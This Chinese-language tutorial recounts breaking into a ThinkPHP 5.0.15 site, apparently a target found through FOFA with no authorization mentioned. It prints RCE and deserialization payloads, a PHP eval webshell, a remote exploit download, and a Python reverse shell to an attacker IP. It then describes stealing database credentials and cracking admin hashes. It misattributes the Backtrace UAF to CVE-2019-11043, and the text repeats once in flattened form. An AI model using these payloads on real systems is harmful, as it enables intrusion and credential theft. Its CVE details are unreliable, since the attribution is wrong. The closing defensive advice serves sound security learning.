记一次简单的渗透
字数 1544 2025-08-05 08:19:40

记一次简单的渗透测试实战教学

前言

本教学文档基于一次真实的ThinkPHP 5.0.15框架渗透测试过程,详细记录了从信息搜集到最终获取系统权限的全过程。本次渗透利用了多个漏洞和技术点,包括ThinkPHP RCE、反序列化漏洞、PHP 7.1 UAF漏洞利用等。

信息搜集阶段

  1. 目标识别

    • 使用FOFA搜索引擎发现目标后台系统
    • 初步尝试弱口令和SQL注入未果
  2. 框架识别

    • 通过错误路由信息确认目标使用ThinkPHP框架
    • 确定版本为ThinkPHP 5.0.15
  3. 环境分析

    • PHP版本为7.1
    • 启用了FPM服务
    • 配置了open_basedir和disable_function限制

漏洞利用过程

初始RCE利用

ThinkPHP 5.0.15存在已知的远程代码执行漏洞,可直接利用:

_method=__construct&method=get&filter=assert&get[]=phpinfo();

但受限于disable_function限制,常规函数如system()等被禁用。

反序列化漏洞利用

  1. 利用ThinkPHP 5.0.x反序列化漏洞

    • 通过控制File类,使用伪协议绕过死亡exit()写入木马
    • 构造payload:
      _method=__construct&method=get&filter=unserialize&get[]=构造的反序列化数据
      
  2. 写入WebShell遇到的问题

    • 直接写入<?php eval($_POST['ccc']);?>时遇到PHP短标签解析错误
    • 解决方案:使用php://filter组合拳处理:
      php://filter/write=convert.base64-decode/resource=shell.php
      
      将代码base64编码后写入

绕过disable_function

由于disable_function限制了常用命令执行函数,采用以下方法绕过:

  1. PHP 7.1 UAF漏洞利用

    • 使用Backtrace UAF漏洞(CVE-2019-11043)
    • 上传专门编写的exploit脚本
  2. Exploit脚本关键点

    • 利用PHP内部对象的内存操作漏洞
    • 通过精心构造的内存操作获取system函数地址
    • 最终实现任意命令执行
  3. 文件传输方法

    • 使用copy()函数从远程服务器下载exploit:
      copy('http://vps/exploit.txt','/tmp/exp.php');
      

获取交互式Shell

  1. 反弹Shell尝试

    • 常规bash反弹失败(权限问题)
    • 发现/bin/bash链接到/usr/bin
  2. 替代方案

    • 使用Python获取交互式Shell:
      python -c 'import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("attacker_ip",port)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call(["/bin/sh","-i"]);'
      

权限提升与横向移动

  1. 数据库访问

    • 从database.php读取数据库凭据
    • 尝试连接数据库获取更多信息
  2. 管理员密码破解

    • 分析后台代码中的加密算法
    • 尝试解密获取的管理员密码哈希

关键知识点总结

  1. ThinkPHP 5.0.15漏洞

    • RCE漏洞利用方法
    • 反序列化漏洞利用技巧
  2. PHP限制绕过

    • open_basedir绕过技术
    • disable_function绕过方法(UAF漏洞利用)
    • 死亡exit()绕过技术
  3. WebShell写入技巧

    • 使用php://filter处理编码问题
    • 特殊文件名生成方法(如a.php3b58a9545013e88c7186db11bb158c44.php)
  4. 内存操作技术

    • PHP内存布局理解
    • 地址泄露与计算
    • 函数指针覆盖技术

防御建议

  1. 针对ThinkPHP

    • 及时升级到最新安全版本
    • 禁用危险的方法调用(如__construct方法过滤)
  2. PHP安全配置

    • 更新到不受UAF漏洞影响的PHP版本
    • 合理配置disable_function
    • 限制危险函数的使用
  3. 系统层面

    • 实施严格的权限分离
    • 监控异常文件创建和修改
    • 限制外部连接

参考资源

  1. 关于file_put_contents的一些小测试
  2. PHP 7.1 UAF漏洞详细分析
  3. ThinkPHP 5.0.x反序列化漏洞分析

本教学文档详细记录了一次完整的渗透测试过程,涵盖了从信息搜集到权限获取的各个阶段,重点讲解了遇到的各种限制及其绕过方法,可作为类似环境渗透测试的参考指南。

记一次简单的渗透测试实战教学 前言 本教学文档基于一次真实的ThinkPHP 5.0.15框架渗透测试过程,详细记录了从信息搜集到最终获取系统权限的全过程。本次渗透利用了多个漏洞和技术点,包括ThinkPHP RCE、反序列化漏洞、PHP 7.1 UAF漏洞利用等。 信息搜集阶段 目标识别 : 使用FOFA搜索引擎发现目标后台系统 初步尝试弱口令和SQL注入未果 框架识别 : 通过错误路由信息确认目标使用ThinkPHP框架 确定版本为ThinkPHP 5.0.15 环境分析 : PHP版本为7.1 启用了FPM服务 配置了open_ basedir和disable_ function限制 漏洞利用过程 初始RCE利用 ThinkPHP 5.0.15存在已知的远程代码执行漏洞,可直接利用: 但受限于disable_ function限制,常规函数如system()等被禁用。 反序列化漏洞利用 利用ThinkPHP 5.0.x反序列化漏洞 : 通过控制File类,使用伪协议绕过死亡exit()写入木马 构造payload: 写入WebShell遇到的问题 : 直接写入 <?php eval($_POST['ccc']);?> 时遇到PHP短标签解析错误 解决方案:使用php://filter组合拳处理: 将代码base64编码后写入 绕过disable_ function 由于disable_ function限制了常用命令执行函数,采用以下方法绕过: PHP 7.1 UAF漏洞利用 : 使用Backtrace UAF漏洞(CVE-2019-11043) 上传专门编写的exploit脚本 Exploit脚本关键点 : 利用PHP内部对象的内存操作漏洞 通过精心构造的内存操作获取system函数地址 最终实现任意命令执行 文件传输方法 : 使用copy()函数从远程服务器下载exploit: 获取交互式Shell 反弹Shell尝试 : 常规bash反弹失败(权限问题) 发现/bin/bash链接到/usr/bin 替代方案 : 使用Python获取交互式Shell: 权限提升与横向移动 数据库访问 : 从database.php读取数据库凭据 尝试连接数据库获取更多信息 管理员密码破解 : 分析后台代码中的加密算法 尝试解密获取的管理员密码哈希 关键知识点总结 ThinkPHP 5.0.15漏洞 : RCE漏洞利用方法 反序列化漏洞利用技巧 PHP限制绕过 : open_ basedir绕过技术 disable_ function绕过方法(UAF漏洞利用) 死亡exit()绕过技术 WebShell写入技巧 : 使用php://filter处理编码问题 特殊文件名生成方法(如a.php3b58a9545013e88c7186db11bb158c44.php) 内存操作技术 : PHP内存布局理解 地址泄露与计算 函数指针覆盖技术 防御建议 针对ThinkPHP : 及时升级到最新安全版本 禁用危险的方法调用(如__ construct方法过滤) PHP安全配置 : 更新到不受UAF漏洞影响的PHP版本 合理配置disable_ function 限制危险函数的使用 系统层面 : 实施严格的权限分离 监控异常文件创建和修改 限制外部连接 参考资源 关于file_ put_ contents的一些小测试 PHP 7.1 UAF漏洞详细分析 ThinkPHP 5.0.x反序列化漏洞分析 本教学文档详细记录了一次完整的渗透测试过程,涵盖了从信息搜集到权限获取的各个阶段,重点讲解了遇到的各种限制及其绕过方法,可作为类似环境渗透测试的参考指南。